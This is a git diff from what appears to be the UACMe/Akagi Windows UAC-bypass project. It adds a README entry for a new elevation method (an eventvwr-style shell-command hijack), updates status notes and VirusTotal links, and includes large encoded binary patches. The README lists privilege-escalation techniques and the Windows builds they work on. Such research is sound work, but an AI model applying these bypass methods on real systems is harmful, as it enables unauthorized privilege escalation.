z`A%n@uS&|K-K`z%svqoISa^!Hm_yn| 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 K1UbQzzyTQK#jU>p diff --git a/README.md b/README.md index 8596e79..2023c1c 100644 --- a/README.md +++ b/README.md @@ -36,7 +36,8 @@ Keys (watch debug ouput with dbgview or similar for more info): * 21 - Hybrid method, abusing SxS DotLocal and targeting sysprep, works from Windows 7 up to 10rs2 14997; * 22 - Hybrid method, abusing SxS DotLocal and targeting consent to gain system privileges, works from Windows 7 up to 10rs2 14997; * 23 - Hybrid method, abusing Package Manager and DISM, works from Windows 7 up to 10rs2 14997; -* 24 - Original Comet method from BreakingMalware, abuses current user environment variables and CompMgmtLauncher.exe, works from Windows 7 up to 10rs2 15007. +* 24 - Original Comet method from BreakingMalware, abuses current user environment variables and CompMgmtLauncher.exe, works from Windows 7 up to 10rs2 15007; +* 25 - Original method from Enigma0x3, abuses shell command execution logic used by autoelevated applications, works from Windows 7 up to 10rs2 15007. Note: * Several methods require process injection, so they won't work from wow64, use x64 edition of this tool; @@ -86,7 +87,7 @@ Methods fixed: * 22 - Windows 10 RS2 starting from public 1500X build (delivery interface altered, method itself still work); * 23 - Windows 10 RS2 starting from public 1500X build (delivery interface altered, method itself still work). -** 24 is not fixed as at 17 January 2017. +** 24, 25 are not fixed as at 18 January 2017. If you wondering why this still exist and work here is the explanation, an official Microsoft WHITEFLAG (including totally incompetent statements as bonus) @@ -106,8 +107,8 @@ https://blogs.msdn.microsoft.com/oldnewthing/20160816-00/?p=94105 # VirusTotal reference report -* Akagi32 https://www.virustotal.com/en/file/d7f2d1ddb7807be1c1f8d8ceb770e9e5ddca2ad638541065e07073d438369660/analysis/ -* Akagi64 https://www.virustotal.com/en/file/82bf545c9af11bdb4ece39f837d168cee56c45f3c3544338fe31189eebb243d1/analysis/ +* Akagi32 https://www.virustotal.com/en/file/2c3639e512a4726e3a7d6a82a23db8dda079482584bc4987b66efe45a652981e/analysis/ +* Akagi64 https://www.virustotal.com/en/file/4a90948c7ac0c09d7340f5cfb0801285fe5ca4d2ed713c5e82b2799bb80feea1/analysis/ # Build @@ -122,6 +123,7 @@ https://blogs.msdn.microsoft.com/oldnewthing/20160816-00/?p=94105 * Beyond good ol' Run key, series of articles, http://www.hexacorn.com/blog * KernelMode.Info UACMe thread, http://www.kernelmode.info/forum/viewtopic.php?f=11&t=3643 * Command Injection/Elevation - Environment Variables Revisited, https://breakingmalware.com/vulnerabilities/command-injection-and-elevation-environment-variables-revisited +* "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking, https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ # Authors diff --git a/Source/Akagi/Resource.rc b/Source/Akagi/Resource.rc index 1fed8a89afea2816d4ae5f2b733330435fda0a61..44dfc06159678f47bac62fba94a16b44166d2a8e 100644 GIT binary patch delta 50 zcmaE%|3ZHQ7aybXWNtn~M&r%4e9xI!jT!V93?^R`(A^v+c#aXy72oV2yn+P)b1DuN delta 50 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 